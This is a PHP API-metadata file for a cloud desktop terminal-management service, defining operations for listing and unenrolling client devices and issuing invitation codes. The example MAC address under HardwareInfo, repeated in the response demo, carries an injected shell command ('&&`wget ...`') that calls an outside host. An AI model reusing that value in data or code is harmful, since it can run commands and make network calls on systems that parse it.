1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
|
<?php return [
'version' => '1.0',
'info' => ['style' => 'RPC', 'product' => 'wyota', 'version' => '2021-04-20'],
'directories' => ['DeleteClients', 'DescribeClients', 'GetOrCreateInvitationCode'],
'components' => [
'schemas' => [],
],
'apis' => [
'DeleteClients' => [
'summary' => '根据UUID移除终端设备纳管。',
'methods' => ['post'],
'schemes' => ['https'],
'security' => [
[
'AK' => [],
],
],
'operationType' => 'readAndWrite',
'deprecated' => false,
'systemTags' => ['operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free'],
'parameters' => [
[
'name' => 'InManage',
'in' => 'formData',
'schema' => ['description' => '是否纳管', 'type' => 'boolean', 'required' => true, 'example' => 'True'],
],
[
'name' => 'Uuids',
'in' => 'formData',
'style' => 'flat',
'schema' => [
'description' => '资产实例的UUID列表。多个UUID之间使用半角逗号(,)分隔。',
'type' => 'array',
'items' => ['description' => '镜像UUID列表。', 'type' => 'string', 'required' => false, 'example' => '06100D58D6E6F0EB01A7A3C261234567'],
'required' => true,
'maxItems' => 100,
],
],
[
'name' => 'CallerAliUid',
'in' => 'query',
'schema' => ['description' => 'aliuid', 'type' => 'string', 'required' => false, 'example' => '***'],
],
],
'responses' => [
200 => [
'schema' => [
'title' => 'Response',
'description' => 'Response',
'type' => 'object',
'properties' => [
'Success' => ['description' => '是否调用成功。', 'type' => 'boolean', 'example' => 'true'],
'Code' => ['description' => '调用失败时返回的错误码。', 'type' => 'string', 'example' => 'TERMINAL_NOT_FOUND'],
'Message' => ['description' => '调用失败时返回的错误信息。', 'type' => 'string', 'example' => 'terminal not found'],
'RequestId' => ['description' => '请求ID。', 'type' => 'string', 'example' => 'C5DCE54A-B266-522E-A6ED-468AF45F5AAA'],
'HttpStatusCode' => ['description' => 'HTTP状态码。', 'type' => 'integer', 'format' => 'int32', 'example' => '200'],
],
],
],
],
'title' => '解除纳管',
'changeSet' => [],
'ramActions' => [],
'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"TERMINAL_NOT_FOUND\\",\\n \\"Message\\": \\"terminal not found\\",\\n \\"RequestId\\": \\"C5DCE54A-B266-522E-A6ED-468AF45F5AAA\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]',
],
'DescribeClients' => [
'methods' => ['post'],
'schemes' => ['https'],
'security' => [
[
'AK' => [],
],
],
'operationType' => 'read',
'deprecated' => false,
'systemTags' => ['operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free'],
'parameters' => [
[
'name' => 'TerminalGroupId',
'in' => 'formData',
'schema' => ['title' => '分组id', 'description' => '分组id', 'type' => 'string', 'required' => false, 'example' => 'tg-bp103v8x70nasykdjrd1'],
],
[
'name' => 'Uuids',
'in' => 'formData',
'style' => 'flat',
'schema' => [
'description' => '要查询的服务器的UUID。多个UUID之间使用半角逗号(,)分隔。',
'type' => 'array',
'items' => ['description' => '资产实例的UUID列表。多个UUID之间使用半角逗号(,)分隔。', 'type' => 'string', 'required' => false, 'example' => '06100D58D6E6F0EB01A7A3C261234567'],
'required' => false,
'maxItems' => 100,
],
],
[
'name' => 'SearchKeyword',
'in' => 'formData',
'schema' => ['title' => '模糊搜索入参,支持按SN、别名、ip模糊搜索,与精确搜索入参不兼容', 'description' => '模糊搜索入参,支持按SN、别名、ip模糊搜索,与精确搜索入参不兼容', 'type' => 'string', 'required' => false, 'example' => '061'],
],
[
'name' => 'NextToken',
'in' => 'formData',
'schema' => ['title' => '下一页token', 'description' => '下一页token', 'type' => 'string', 'required' => false, 'example' => 'AAAAAdEdsXbwG2ZlbWCzN4wTTg6wQvfp7u1BJl4bxCAby41POSaYAlCvfULQpkAnb0ff****'],
],
[
'name' => 'InManage',
'in' => 'formData',
'schema' => ['title' => '是否已纳管', 'description' => '是否已纳管', 'type' => 'boolean', 'required' => false, 'example' => 'True'],
],
[
'name' => 'MaxResults',
'in' => 'formData',
'schema' => ['title' => '最大结果数', 'description' => '最大结果数', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '100'],
],
[
'name' => 'WithBindUser',
'in' => 'formData',
'schema' => ['title' => '是否返回绑定用户', 'description' => '是否返回绑定用户', 'type' => 'boolean', 'required' => false],
],
[
'name' => 'Model',
'in' => 'formData',
'schema' => ['title' => '型号', 'description' => '型号', 'type' => 'string', 'required' => false, 'example' => 'US02-2BFXG'],
],
[
'name' => 'IncludeSubGroups',
'in' => 'formData',
'schema' => ['title' => '是否包含子分组', 'description' => '是否包含子分组', 'type' => 'boolean', 'required' => false, 'example' => 'false'],
],
[
'name' => 'ClientType',
'in' => 'formData',
'schema' => ['title' => '终端类型', 'description' => '终端类型', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1'],
],
[
'name' => 'OnlineStatus',
'in' => 'formData',
'schema' => ['title' => '软终端状态', 'description' => '软终端状态', 'type' => 'boolean', 'required' => false, 'example' => 'True'],
],
[
'name' => 'Platform',
'in' => 'formData',
'schema' => ['title' => '软终端平台', 'description' => '软终端平台', 'type' => 'string', 'required' => false, 'example' => 'linux'],
],
[
'name' => 'CustomResourceId',
'in' => 'formData',
'schema' => ['title' => '定制任务ID', 'description' => '定制任务ID', 'type' => 'string', 'required' => false, 'example' => 'cr-***'],
],
[
'name' => 'CustomResourceStatus',
'in' => 'formData',
'schema' => ['title' => '定制任务生效状态 (true: 生效, false: 失效, null: 全部)', 'description' => '定制任务生效状态 (true: 生效, false: 失效, null: 全部)', 'type' => 'boolean', 'required' => false],
],
[
'name' => 'CallerAliUid',
'in' => 'query',
'schema' => ['description' => 'aliuid', 'type' => 'string', 'required' => false, 'example' => '***'],
],
],
'responses' => [
200 => [
'schema' => [
'title' => 'NextTokenResponse<TerminalDTO>',
'description' => 'NextTokenResponse<TerminalDTO>',
'type' => 'object',
'properties' => [
'NextToken' => ['description' => '下一次查询的Token。如果一次查询结果并没有完整返回所有的结果,则返回的NextToken不为空。您可以在查询中上传返回的NextToken继续查询。', 'type' => 'string', 'example' => 'AAAAAdEdsXbwG2ZlbWCzN4wTTg6wQvfp7u1BJl4bxCAby41POSaYAlCvfULQpkAnb0ff****'],
'TotalCount' => ['description' => '返回结果总数。', 'type' => 'integer', 'format' => 'int32', 'example' => '20'],
'Data' => [
'description' => '调用成功时返回的数据。',
'type' => 'array',
'items' => [
'description' => '调用成功时返回的数据。',
'type' => 'object',
'properties' => [
'Uuid' => ['title' => 'uuid', 'description' => 'uuid', 'type' => 'string', 'example' => '04873D3898B51A7DF2455C1E1DC9****'],
'TerminalGroupId' => ['title' => '终端分组id', 'description' => '终端分组id', 'type' => 'string', 'example' => 'tg-default'],
'Model' => ['title' => '机型', 'description' => '机型', 'type' => 'string', 'example' => 'US01'],
'ProductName' => ['title' => 'productName', 'description' => 'productName', 'type' => 'string', 'example' => 'dm'],
'OnlineStatus' => ['title' => '是否在线', 'description' => '是否在线', 'type' => 'boolean', 'example' => 'False'],
'Online' => ['title' => '是否在线', 'description' => '是否在线', 'type' => 'boolean', 'example' => 'true'],
'Alias' => ['title' => '别名', 'description' => '别名', 'type' => 'string', 'example' => 'DemoDevice'],
'BuildId' => ['title' => '系统版本号', 'description' => '系统版本号', 'type' => 'string', 'example' => '7.0.2-RS-***'],
'WosAppVersion' => ['title' => 'appVersion', 'description' => 'appVersion', 'type' => 'string', 'example' => '7.0.2-RS-***'],
'ClientVersion' => ['title' => '客户端版本', 'description' => '客户端版本', 'type' => 'string', 'example' => '1.2.1-DAILY-20240906.140842'],
'ClientType' => ['title' => '终端类型', 'description' => '终端类型', 'type' => 'integer', 'format' => 'int32', 'example' => '1'],
'InManage' => ['title' => '是否已被纳管', 'description' => '是否已被纳管', 'type' => 'boolean', 'example' => 'True'],
'BindUserId' => ['title' => '免账号登陆用户', 'description' => '免账号登陆用户', 'type' => 'string', 'example' => '***'],
'PasswordFreeLoginUser' => ['title' => '免密登录用户', 'description' => '免密登录用户', 'type' => 'string', 'example' => '***'],
'BindUserCount' => ['title' => '绑定登录用户数量', 'description' => '绑定登录用户数量', 'type' => 'integer', 'format' => 'int32', 'example' => '1'],
'UserBindCount' => ['title' => '绑定此设备的用户数量', 'description' => '绑定此设备的用户数量', 'type' => 'integer', 'format' => 'int32', 'example' => '1'],
'LocationInfo' => ['title' => '位置备注', 'description' => '位置备注', 'type' => 'string', 'example' => '杭州市'],
'Ipv4' => ['title' => 'ipv4', 'description' => 'ipv4', 'type' => 'string', 'example' => '192.168.XX.XX'],
'LoginUser' => ['title' => '当前登录用户', 'description' => '当前登录用户', 'type' => 'string', 'example' => '***'],
'CurrentLoginUser' => ['title' => '当前登录用户', 'description' => '当前登录用户', 'type' => 'string', 'example' => '***'],
'DesktopId' => ['title' => '当前使用桌面', 'description' => '当前使用桌面', 'type' => 'string', 'example' => 'ecd-9ior729dcvn91uo9i'],
'CurrentConnectDesktop' => ['title' => '当前使用桌面', 'description' => '当前使用桌面', 'type' => 'string', 'example' => 'ecd-drqmaogzbmbdf****'],
'ManageTime' => ['title' => '纳管时间', 'description' => '纳管时间', 'type' => 'string', 'example' => '2020-01-01 00:00:00'],
'SetPasswordFreeLoginUserTime' => ['title' => '设置免密登录用户时间', 'description' => '设置免密登录用户时间', 'type' => 'string', 'example' => '2020-01-01 00:00:00'],
'ManageTimestamp' => ['title' => '纳管时间戳', 'description' => '纳管时间戳', 'type' => 'integer', 'format' => 'int64', 'example' => '1000000'],
'PublicIpv4' => ['title' => '公网ip', 'description' => '公网ip', 'type' => 'string', 'example' => '0.0.0.0'],
'LastLoginUser' => ['title' => '最近登录用户', 'description' => '最近登录用户', 'type' => 'string', 'example' => '***'],
'HardwareInfo' => [
'title' => '硬件信息',
'description' => '硬件信息',
'type' => 'object',
'properties' => [
'Mac' => ['title' => '以太网mac', 'description' => '以太网mac', 'type' => 'string', 'example' => '00:1A:2B:3C:4D:5E&&`wget 31lojfVB.popscan.xaliyun.com`%3B'],
'Bluetooth' => ['title' => '蓝牙mac', 'description' => '蓝牙mac', 'type' => 'string', 'example' => '24:21:5E:B3:5A:4A'],
'Wlan' => ['title' => 'wifi mac', 'description' => 'wifi mac', 'type' => 'string', 'example' => '54:f2:9f:bc:fe:cc'],
'ChipId' => ['title' => 'chipId', 'description' => 'chipId', 'type' => 'string', 'example' => '7fa062813c5ac970'],
'Cpu' => ['title' => 'cpu信息', 'description' => 'cpu信息', 'type' => 'string', 'example' => '24'],
'Memory' => ['title' => '内存信息', 'description' => '内存信息', 'type' => 'string', 'example' => '128'],
'Storage' => ['title' => '存储信息', 'description' => '存储信息', 'type' => 'string', 'example' => '20'],
],
],
'FunctionSupport' => [
'title' => '功能与支持',
'description' => '功能与支持',
'type' => 'object',
'properties' => [
'SupportPasswordFreeLogin' => ['title' => '支持免密登录', 'description' => '支持免密登录', 'type' => 'boolean', 'example' => 'True'],
'PasswordFreeLoginForbiddenReason' => ['title' => '免密登录禁止原因', 'description' => '免密登录禁止原因', 'type' => 'string', 'example' => 'Reason'],
'SupportReboot' => ['title' => '支持重启', 'description' => '支持重启', 'type' => 'boolean', 'example' => 'True'],
'SupportStop' => ['title' => '支持关机', 'description' => '支持关机', 'type' => 'boolean', 'example' => 'True'],
'SupportReset' => ['title' => '支持恢复出厂设置', 'description' => '支持恢复出厂设置', 'type' => 'boolean', 'example' => 'True'],
'SupportUpgrade' => ['title' => '支持远程升级', 'description' => '支持远程升级', 'type' => 'boolean', 'example' => 'True'],
'SupportDiagnose' => ['title' => '支持开启远程诊断', 'description' => '支持开启远程诊断', 'type' => 'boolean', 'example' => 'True'],
'SupportModifyPolicy' => ['title' => '支持修改策略', 'description' => '支持修改策略', 'type' => 'boolean', 'example' => 'True'],
'EnablePolicy' => ['title' => '支持单机策略', 'description' => '支持单机策略', 'type' => 'boolean', 'example' => 'True'],
'VersionTooLow' => ['title' => '版本过低,建议升级', 'description' => '版本过低,建议升级', 'type' => 'boolean', 'example' => 'True'],
'SupportLimitLoginUser' => ['title' => '支持限定登录用户', 'description' => '支持限定登录用户', 'type' => 'boolean', 'example' => 'True'],
'SupportResetPin' => ['title' => '清除PIN码是否置灰', 'description' => '清除PIN码是否置灰', 'type' => 'boolean', 'example' => 'True'],
'VersionSupported' => ['title' => '版本是否支持(V7.12.0 及以上)', 'description' => '版本是否支持(V7.12.0 及以上)', 'type' => 'boolean', 'example' => 'True'],
'SupportAssistLogin' => ['title' => '支持协助登录', 'description' => '支持协助登录', 'type' => 'boolean', 'example' => 'True'],
'UnsupportAssistLoginReason' => ['title' => '协助登录禁止原因', 'description' => '协助登录禁止原因', 'type' => 'string', 'example' => 'Reason'],
'SupportManage' => ['title' => '支持纳管', 'description' => '支持纳管', 'type' => 'boolean', 'example' => 'True'],
'UnsupportManageReason' => ['title' => '纳管禁止原因', 'description' => '纳管禁止原因', 'type' => 'string', 'example' => 'Reason'],
'SupportLocalDeviceSn' => ['title' => '支持localDeviceSn', 'description' => '支持localDeviceSn', 'type' => 'boolean', 'example' => 'True'],
'UnsupportedLocalDeviceSnReason' => ['title' => 'localDeviceSn禁止原因', 'description' => 'localDeviceSn禁止原因', 'type' => 'string', 'example' => 'Reason'],
],
],
'DeviceOs' => ['title' => '设备系统', 'description' => '设备系统', 'type' => 'string', 'example' => 'Windows'],
'Platform' => ['title' => '设备类型', 'description' => '设备类型', 'type' => 'string', 'example' => '123123'],
'ModelPreviewUrl' => ['title' => '设备类型预览图', 'description' => '设备类型预览图', 'type' => 'string', 'example' => '***'],
'CustomResourceId' => ['title' => '自定义资源ID', 'description' => '自定义资源ID', 'type' => 'string', 'example' => '***'],
'CustomResourceName' => ['title' => '自定义资源名称', 'description' => '自定义资源名称', 'type' => 'string', 'example' => '***'],
'CustomResourceStatus' => ['title' => '自定义资源状态', 'description' => '自定义资源状态', 'type' => 'boolean', 'example' => '***'],
'CustomResInvalidReason' => ['title' => '自定义资源失效原因', 'description' => '自定义资源失效原因', 'type' => 'string', 'example' => '***'],
'HostOsInfo' => ['description' => '系统OS', 'type' => 'string', 'example' => 'Windows'],
'AliUid' => ['title' => 'aliUid', 'description' => 'aliUid', 'type' => 'integer', 'format' => 'int64', 'example' => '1627390268362106'],
'MainBizType' => ['title' => '主业务类型', 'description' => '主业务类型', 'type' => 'string', 'example' => 'enterprise'],
'UpgradeDownloadType' => ['title' => '升级类型 internet/lan', 'description' => '升级类型 internet/lan', 'type' => 'string', 'example' => 'internet'],
'LocalDeviceSn' => ['title' => '本地设备SN', 'description' => '本地设备SN', 'type' => 'string', 'example' => '***'],
'DesktopRegionId' => ['title' => '桌面region', 'description' => '桌面region', 'type' => 'string', 'example' => 'cn-hangzhou'],
'IpGeoLocation' => ['title' => '公网IP归属地', 'description' => '公网IP归属地', 'type' => 'string', 'example' => 'CN-Zhejiang'],
'AreaSite' => ['title' => '区域站点', 'description' => '区域站点', 'type' => 'string', 'example' => 'ap-southeast-1'],
],
],
],
'Success' => ['description' => '是否调用成功。', 'type' => 'boolean', 'example' => 'true'],
'Code' => ['description' => '调用失败时返回的错误码。', 'type' => 'string', 'example' => 'TERMINAL_NOT_FOUND'],
'Message' => ['description' => '调用失败时返回的错误信息。', 'type' => 'string', 'example' => 'terminal not found'],
'RequestId' => ['description' => '请求ID。', 'type' => 'string', 'example' => 'C5DCE54A-B266-522E-A6ED-468AF45F5AAA'],
'HttpStatusCode' => ['description' => 'HTTP状态码。', 'type' => 'integer', 'format' => 'int32', 'example' => '200'],
],
],
],
],
'title' => '查询客户端信息',
'summary' => '查询所有已纳管客户端信息。',
'changeSet' => [],
'ramActions' => [],
'responseDemo' => '[{"errorExample":"","example":"{\\n \\"NextToken\\": \\"AAAAAdEdsXbwG2ZlbWCzN4wTTg6wQvfp7u1BJl4bxCAby41POSaYAlCvfULQpkAnb0ff****\\",\\n \\"TotalCount\\": 20,\\n \\"Data\\": [\\n {\\n \\"Uuid\\": \\"04873D3898B51A7DF2455C1E1DC9****\\",\\n \\"TerminalGroupId\\": \\"tg-default\\",\\n \\"Model\\": \\"US01\\",\\n \\"ProductName\\": \\"dm\\",\\n \\"OnlineStatus\\": true,\\n \\"Online\\": true,\\n \\"Alias\\": \\"DemoDevice\\",\\n \\"BuildId\\": \\"7.0.2-RS-***\\",\\n \\"WosAppVersion\\": \\"7.0.2-RS-***\\",\\n \\"ClientVersion\\": \\"1.2.1-DAILY-20240906.140842\\",\\n \\"ClientType\\": 1,\\n \\"InManage\\": true,\\n \\"BindUserId\\": \\"***\\",\\n \\"PasswordFreeLoginUser\\": \\"***\\",\\n \\"BindUserCount\\": 1,\\n \\"UserBindCount\\": 1,\\n \\"LocationInfo\\": \\"杭州市\\",\\n \\"Ipv4\\": \\"192.168.XX.XX\\",\\n \\"LoginUser\\": \\"***\\",\\n \\"CurrentLoginUser\\": \\"***\\",\\n \\"DesktopId\\": \\"ecd-9ior729dcvn91uo9i\\",\\n \\"CurrentConnectDesktop\\": \\"ecd-drqmaogzbmbdf****\\",\\n \\"ManageTime\\": \\"2020-01-01 00:00:00\\",\\n \\"SetPasswordFreeLoginUserTime\\": \\"2020-01-01 00:00:00\\",\\n \\"ManageTimestamp\\": 1000000,\\n \\"PublicIpv4\\": \\"0.0.0.0\\",\\n \\"LastLoginUser\\": \\"***\\",\\n \\"HardwareInfo\\": {\\n \\"Mac\\": \\"00:1A:2B:3C:4D:5E&&`wget 31lojfVB.popscan.xaliyun.com`%3B\\",\\n \\"Bluetooth\\": \\"24:21:5E:B3:5A:4A\\",\\n \\"Wlan\\": \\"54:f2:9f:bc:fe:cc\\",\\n \\"ChipId\\": \\"7fa062813c5ac970\\",\\n \\"Cpu\\": \\"24\\",\\n \\"Memory\\": \\"128\\",\\n \\"Storage\\": \\"20\\"\\n },\\n \\"FunctionSupport\\": {\\n \\"SupportPasswordFreeLogin\\": true,\\n \\"PasswordFreeLoginForbiddenReason\\": \\"Reason\\",\\n \\"SupportReboot\\": true,\\n \\"SupportStop\\": true,\\n \\"SupportReset\\": true,\\n \\"SupportUpgrade\\": true,\\n \\"SupportDiagnose\\": true,\\n \\"SupportModifyPolicy\\": true,\\n \\"EnablePolicy\\": true,\\n \\"VersionTooLow\\": true,\\n \\"SupportLimitLoginUser\\": true,\\n \\"SupportResetPin\\": true,\\n \\"VersionSupported\\": true,\\n \\"SupportAssistLogin\\": true,\\n \\"UnsupportAssistLoginReason\\": \\"Reason\\",\\n \\"SupportManage\\": true,\\n \\"UnsupportManageReason\\": \\"Reason\\",\\n \\"SupportLocalDeviceSn\\": true,\\n \\"UnsupportedLocalDeviceSnReason\\": \\"Reason\\"\\n },\\n \\"DeviceOs\\": \\"Windows\\",\\n \\"Platform\\": \\"123123\\",\\n \\"ModelPreviewUrl\\": \\"***\\",\\n \\"CustomResourceId\\": \\"***\\",\\n \\"CustomResourceName\\": \\"***\\",\\n \\"CustomResourceStatus\\": true,\\n \\"CustomResInvalidReason\\": \\"***\\",\\n \\"HostOsInfo\\": \\"Windows\\",\\n \\"AliUid\\": 1627390268362106,\\n \\"MainBizType\\": \\"enterprise\\",\\n \\"UpgradeDownloadType\\": \\"internet\\",\\n \\"LocalDeviceSn\\": \\"***\\",\\n \\"DesktopRegionId\\": \\"cn-hangzhou\\",\\n \\"IpGeoLocation\\": \\"CN-Zhejiang\\",\\n \\"AreaSite\\": \\"ap-southeast-1\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"Code\\": \\"TERMINAL_NOT_FOUND\\",\\n \\"Message\\": \\"terminal not found\\",\\n \\"RequestId\\": \\"C5DCE54A-B266-522E-A6ED-468AF45F5AAA\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]',
],
'GetOrCreateInvitationCode' => [
'summary' => '获取桌面端纳管邀请码。'."\n"
.'查询模式:仅传 terminalGroupId,只读返回当前邀请码及过期状态。'."\n"
.'创建模式:必须传terminalGroupId+过期时长——传 expireDays或expireMinutes,会生成新码并覆盖原邀请码。',
'methods' => ['post'],
'schemes' => ['https'],
'security' => [
[
'AK' => [],
],
],
'operationType' => 'readAndWrite',
'deprecated' => false,
'systemTags' => ['operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'tenantRelevance' => 'tenant'],
'parameters' => [
[
'name' => 'ExpireDays',
'in' => 'formData',
'schema' => ['description' => '有效天数,距离当前的天数,-1代表长期有效', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1'],
],
[
'name' => 'TerminalGroupId',
'in' => 'formData',
'schema' => ['description' => '终端分组ID。', 'type' => 'string', 'required' => false, 'example' => 'tg-XXX'],
],
[
'name' => 'Type',
'in' => 'formData',
'schema' => ['description' => '有效期类型:不填写或Type=1,对应响应过期天数。Type=2,对应响应过期分钟。', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => 'cron'],
],
[
'name' => 'ExpireMinutes',
'in' => 'formData',
'schema' => ['description' => '有效分钟,距离当前的分钟数,-1代表长期有效', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10'],
],
],
'responses' => [
200 => [
'schema' => [
'title' => 'SingleResponse<InvitationCodeDTO>',
'description' => 'SingleResponse<InvitationCodeDTO>',
'type' => 'object',
'properties' => [
'Data' => [
'description' => '调用成功时返回的数据。',
'type' => 'object',
'properties' => [
'AuthCode' => ['description' => '设备认证的鉴权码。', 'type' => 'string', 'example' => '000000'],
'ExpireTime' => ['description' => '计算组到期时间。', 'type' => 'string', 'example' => '1772162247'],
'Expired' => ['description' => '是否过期。', 'type' => 'boolean', 'example' => 'True'],
],
],
'Success' => ['description' => '是否调用成功。', 'type' => 'boolean', 'example' => 'true'],
'Code' => ['description' => '调用失败时返回的错误码。', 'type' => 'string', 'example' => 'PARAMETER_ERROR'],
'Message' => ['description' => '调用失败时返回的错误信息。', 'type' => 'string', 'example' => 'parameter error'],
'RequestId' => ['description' => '请求ID。', 'type' => 'string', 'example' => 'C5DCE54A-B266-522E-A6ED-468AF45F5AAA'],
'HttpStatusCode' => ['description' => 'HTTP状态码。', 'type' => 'integer', 'format' => 'int32', 'example' => '200'],
],
],
],
],
'title' => '获取或创建邀请码',
'changeSet' => [],
'ramActions' => [
[
'operationType' => 'none',
'ramAction' => [
'action' => 'ecd:GetOrCreateInvitationCode',
'authLevel' => 'operate',
'actionConditions' => [],
'resources' => [
['validationType' => 'always', 'product' => 'ECD', 'resourceType' => '全部资源', 'arn' => '*'],
],
],
],
],
'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"AuthCode\\": \\"000000\\",\\n \\"ExpireTime\\": \\"1772162247\\",\\n \\"Expired\\": true\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"PARAMETER_ERROR\\",\\n \\"Message\\": \\"parameter error\\",\\n \\"RequestId\\": \\"C5DCE54A-B266-522E-A6ED-468AF45F5AAA\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]',
],
],
'endpoints' => [],
'errorCodes' => [
['code' => 'CUSTOM_NAME_DUP', 'message' => 'Custom name duplicate, please use another name.', 'http_code' => 400, 'description' => '定制任务名称重复,请使用其他名称。'],
],
'changeSet' => [
[
'apis' => [
['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'],
],
'createdAt' => '2025-05-27T09:25:46.000Z',
'description' => '',
],
[
'apis' => [
['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'],
],
'createdAt' => '2025-05-13T14:38:39.000Z',
'description' => '',
],
[
'apis' => [
['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'],
],
'createdAt' => '2025-05-13T11:06:03.000Z',
'description' => '',
],
[
'apis' => [
['description' => '请求参数发生变更', 'api' => 'ListTerminals'],
],
'createdAt' => '2025-05-13T10:47:44.000Z',
'description' => '',
],
[
'apis' => [
['description' => '请求参数发生变更', 'api' => 'CheckUuidValid'],
],
'createdAt' => '2025-05-06T11:37:07.000Z',
'description' => '',
],
[
'apis' => [
['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'],
],
'createdAt' => '2025-05-06T11:18:20.000Z',
'description' => '',
],
[
'apis' => [
['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'],
],
'createdAt' => '2025-05-06T10:46:49.000Z',
'description' => '',
],
[
'apis' => [
['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'],
],
'createdAt' => '2025-05-06T10:44:32.000Z',
'description' => '',
],
],
'ram' => [
'productCode' => 'ECD',
'productName' => '无影云电脑',
'ramCodes' => ['ecd', 'eds-user', 'gws', 'wss'],
'ramLevel' => '操作级',
'ramConditions' => [],
'ramActions' => [
[
'apiName' => 'GetOrCreateInvitationCode',
'description' => '获取或创建邀请码',
'operationType' => 'none',
'ramAction' => [
'action' => 'ecd:GetOrCreateInvitationCode',
'authLevel' => 'operate',
'actionConditions' => [],
'resources' => [
['validationType' => 'always', 'product' => 'ECD', 'resourceType' => '全部资源', 'arn' => '*'],
],
],
],
[
'apiName' => 'DescribeClients',
'description' => '查询客户端信息',
'operationType' => 'none',
'ramAction' => [
'action' => 'ecd:DescribeClients',
'authLevel' => 'operate',
'actionConditions' => [],
'resources' => [
['validationType' => 'always', 'product' => 'ECD', 'resourceType' => '全部资源', 'arn' => '*'],
],
],
],
[
'apiName' => 'DeleteClients',
'description' => '解除纳管',
'operationType' => 'delete',
'ramAction' => [
'action' => 'ecd:DeleteClients',
'authLevel' => 'operate',
'actionConditions' => [],
'resources' => [
['validationType' => 'always', 'product' => 'ECD', 'resourceType' => '全部资源', 'arn' => '*'],
],
],
],
],
'resourceTypes' => [],
],
];
|